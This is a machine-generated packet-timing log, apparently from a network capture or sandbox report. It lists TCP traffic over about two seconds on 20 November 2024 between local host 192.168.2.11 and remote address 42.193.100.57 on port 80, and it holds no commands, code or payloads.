        Nov 20, 2024 09:14:49.562237024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562248945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562259912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562273026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562304974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562382936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562395096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562393904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562406063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562422991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562433958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562434912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562444925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562458038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562463999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562468052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562482119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562503099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562503099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562536955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562551022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562602997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562705040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562721968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562732935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562742949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562743902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562752962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562757015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562767982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562774897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562779903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562798977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562803984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562819004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562829018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562835932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562840939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562854052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562864065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562865973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562875986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562880993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562890053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562901020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562901020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562915087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.562928915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562938929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.562967062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563074112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563086033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563112020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563112020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563122034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563126087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563138008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563148975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563150883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563160896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563164949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563174009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563184977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563209057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563282013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563293934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563318968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563329935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563332081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563343048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563345909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563359022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563370943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563381910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563383102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563393116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563405037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563412905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563415051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563425064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563427925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563440084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563451052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563456059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563474894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563483953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563720942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563731909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563744068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563754082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563760042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563776016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563786030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563797951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563802004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563808918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563819885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563822985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563832045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563843012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563843012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563853979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563854933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563868046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563877106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563884020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563904047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563904047 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563915968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563918114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563930035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563941002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563946009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563951969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563958883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563971043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563982010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.563985109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.563994884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564006090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564012051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564035892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564045906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564147949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564171076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564182043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564191103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564193964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564207077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564207077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564215899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564239025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564254045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564328909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564340115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564349890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564362049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564368010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564373970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564378023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564385891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564398050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564410925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564420938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564444065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564450979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564456940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564481974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564482927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564492941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564495087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564507961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564517975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564518929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564528942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564534903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564543962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564563990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564564943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564604044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564838886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564850092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564857006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564867020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564884901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564898014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564908981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564913034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564920902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564933062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564934969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564944983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564955950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564956903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.564970016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564980030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.564982891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.565002918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.565011978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.565023899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.565051079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648339033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648374081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648386002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648396969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648410082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648420095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648433924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648473978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648500919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648559093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648571014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648576975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648581982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648576975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648576975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648576975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648596048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648612022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648629904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648629904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648629904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648646116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648706913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648720026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648730993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648741961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648749113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648753881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648766041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648778915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648794889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648809910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648832083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648844004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648854017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648864985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648871899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648876905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648895979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648926973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648948908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648962021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648972988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648983955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.648987055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.648996115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649013996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649038076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649066925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649095058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649104118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649105072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649118900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649127960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649131060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649142981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649142981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649154902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649178982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649238110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649250031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649260998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649271965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649279118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649290085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649301052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649305105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649327993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649342060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649777889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649790049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649801970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649812937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649821997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649825096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:49.649837017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:49.649862051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:50.059997082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:50.060012102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:50.060024023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:50.060034990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:50.060046911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:50.060079098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:50.060146093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.137522936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137592077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137603045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137655020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137665987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137676954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137687922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137691975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.137742043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.137784004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137892008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.137938976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.138200045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.138237000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.138248920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.139539957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.139756918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358344078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358355999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358367920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358408928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358454943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358495951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358509064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358544111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358658075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358676910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358689070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358699083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358709097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358720064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358724117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358740091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358752012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358752012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358778954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358827114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358839989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358850002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358861923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358869076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358874083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358886003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358894110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358897924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358921051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358933926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.358953953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.358990908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359164000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359178066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359189034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359200001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359209061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359211922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359224081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359230042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359236002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359247923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359256983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359268904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359292030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359303951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359327078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359338045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359338045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359350920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359375954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359396935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359498024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359510899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359522104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359534025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359544039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359548092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359555960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359566927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359576941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359577894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359591961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359600067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359615088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359647989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359833956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359847069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359858036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359868050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359879017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359889030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359893084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359900951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359911919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.359920979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.359930992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.360367060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567214966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567228079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567290068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567478895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567529917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567532063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567545891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567559004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567569971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567570925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567590952 CET4970180192.168.2.1142.193.100.57
